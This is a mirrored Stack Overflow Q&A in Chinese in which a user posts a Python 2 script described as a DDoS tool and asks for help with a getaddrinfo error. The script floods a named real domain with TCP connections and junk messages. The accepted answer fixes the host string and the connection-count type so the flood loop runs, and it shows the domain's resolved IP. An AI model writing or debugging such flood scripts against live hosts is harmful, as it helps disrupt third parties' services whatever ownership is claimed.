gpt4 book ai didi

python - 当我的 python ddos​​ 脚本运行时出现错误

转载 作者:太空宇宙 更新时间:2023-11-04 08:11:55 27 4
gpt4 key购买 nike

我正在尝试攻击我的服务器,为此我有这个小的 ddos​​ python 脚本。但不幸的是我得到了这个错误:

ip = socket.gethostbyname(host)
socket.gaierror: [Errno 11004] getaddrinfo failed

知道如何解决这个问题吗?

这是脚本:

import time, socket, os, sys, string

def restart_program():
python = sys.executable
os.execl(python, python, * sys.argv)
curdir = os.getcwd()

print ("DDoS mode loaded")
host="http://hajnalgroup.com"
port="80"
message="+---------------------------+"
conn="100"
ip = socket.gethostbyname(host)
print ("[" + ip + "]")
print ( "[Ip is locked]" )
print ( "[Attacking " + host + "]" )
print ("+----------------------------+")
def dos():
#pid = os.fork()
ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
ddos.connect((host, port))
ddos.send( message )
ddos.sendto( message, (ip, port) )
ddos.send( message );
except socket.error, msg:
print("|[Connection Failed] |")
print ( "|[DDoS Attack Engaged] |")
ddos.close()
for i in range(1, conn):
dos()
print ("+----------------------------+")
print("The connections you requested had finished")
if __name__ == "__main__":
answer = raw_input("Do you want to ddos more?")
if answer.strip() in "y Y yes Yes YES".split():
restart_program()
else:
print "bye"

最佳答案

主机名应该是主机名 (hajnalgroup.com),而不是 url (http://hajnalgroup.com)。

>>> import socket
>>> socket.gethostbyname("http://hajnalgroup.com")
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
socket.gaierror: [Errno 11004] getaddrinfo failed
>>> socket.gethostbyname("hajnalgroup.com")
'89.134.187.222'

替换以下行:

host = "http://hajnalgroup.com"

与:

host = "hajnalgroup.com"

更新

range 的所有参数函数应该是 int 对象:

>>> range(1, 10)
[1, 2, 3, 4, 5, 6, 7, 8, 9]
>>> range(1, "10")
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: range() integer end argument expected, got str.

conn = "100" 替换为 conn = 100

关于python - 当我的 python ddos​​ 脚本运行时出现错误,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/20826228/

27 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com